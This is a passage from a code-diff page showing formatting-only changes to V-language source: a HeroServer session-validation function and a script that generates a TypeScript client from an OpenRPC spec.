|
||||||
server.sessions[session_key] = session
|
server.sessions[session_key] = session
|
||||||
|
|
||||||
// Clean up challenge
|
// Clean up challenge
|
||||||
server.challenges.delete(pubkey)
|
server.challenges.delete(pubkey)
|
||||||
|
|
||||||
return AuthSubmitResponse{
|
return AuthSubmitResponse{
|
||||||
session_key: session_key
|
session_key: session_key
|
||||||
}
|
}
|
||||||
@@ -85,19 +85,17 @@ pub fn (mut server HeroServer) auth_submit(pubkey string, signature string) !Aut
|
|||||||
|
|
||||||
// Validate session key
|
// Validate session key
|
||||||
pub fn (mut server HeroServer) validate_session(session_key string) !Session {
|
pub fn (mut server HeroServer) validate_session(session_key string) !Session {
|
||||||
mut session := server.sessions[session_key] or {
|
mut session := server.sessions[session_key] or { return error('Invalid session key') }
|
||||||
return error('Invalid session key')
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check if session expired
|
// Check if session expired
|
||||||
if time.now() > session.expires_at {
|
if time.now() > session.expires_at {
|
||||||
server.sessions.delete(session_key)
|
server.sessions.delete(session_key)
|
||||||
return error('Session expired')
|
return error('Session expired')
|
||||||
}
|
}
|
||||||
|
|
||||||
// Update last activity
|
// Update last activity
|
||||||
session.last_activity = time.now()
|
session.last_activity = time.now()
|
||||||
server.sessions[session_key] = session
|
server.sessions[session_key] = session
|
||||||
|
|
||||||
return session
|
return session
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,30 +8,30 @@ const openrpc_path = os.dir(@FILE) + '/../../hero/heromodels/openrpc.json'
|
|||||||
const output_dir = os.expand_tilde_to_home('~/code/heromodels/generated')
|
const output_dir = os.expand_tilde_to_home('~/code/heromodels/generated')
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
spec_text := os.read_file(openrpc_path) or {
|
spec_text := os.read_file(openrpc_path) or {
|
||||||
eprintln('Failed to read openrpc.json: ${err}')
|
eprintln('Failed to read openrpc.json: ${err}')
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
openrpc_spec := openrpc.decode(spec_text) or {
|
openrpc_spec := openrpc.decode(spec_text) or {
|
||||||
eprintln('Failed to decode openrpc spec: ${err}')
|
eprintln('Failed to decode openrpc spec: ${err}')
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
config := typescriptgenerator.IntermediateConfig{
|
config := typescriptgenerator.IntermediateConfig{
|
||||||
base_url: 'http://localhost:8086/api/heromodels'
|
base_url: 'http://localhost:8086/api/heromodels'
|
||||||
handler_type: 'heromodels'
|
handler_type: 'heromodels'
|
||||||
}
|
}
|
||||||
|
|
||||||
intermediate_spec := typescriptgenerator.from_openrpc(openrpc_spec, config) or {
|
intermediate_spec := typescriptgenerator.from_openrpc(openrpc_spec, config) or {
|
||||||
eprintln('Failed to create intermediate spec: ${err}')
|
eprintln('Failed to create intermediate spec: ${err}')
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
typescriptgenerator.generate_typescript_client(intermediate_spec, output_dir) or {
|
typescriptgenerator.generate_typescript_client(intermediate_spec, output_dir) or {
|
||||||
eprintln('Failed to generate typescript client: ${err}')
|
eprintln('Failed to generate typescript client: ${err}')
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
println("TypeScript client generated successfully in ${output_dir}")
|
println('TypeScript client generated successfully in ${output_dir}')
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user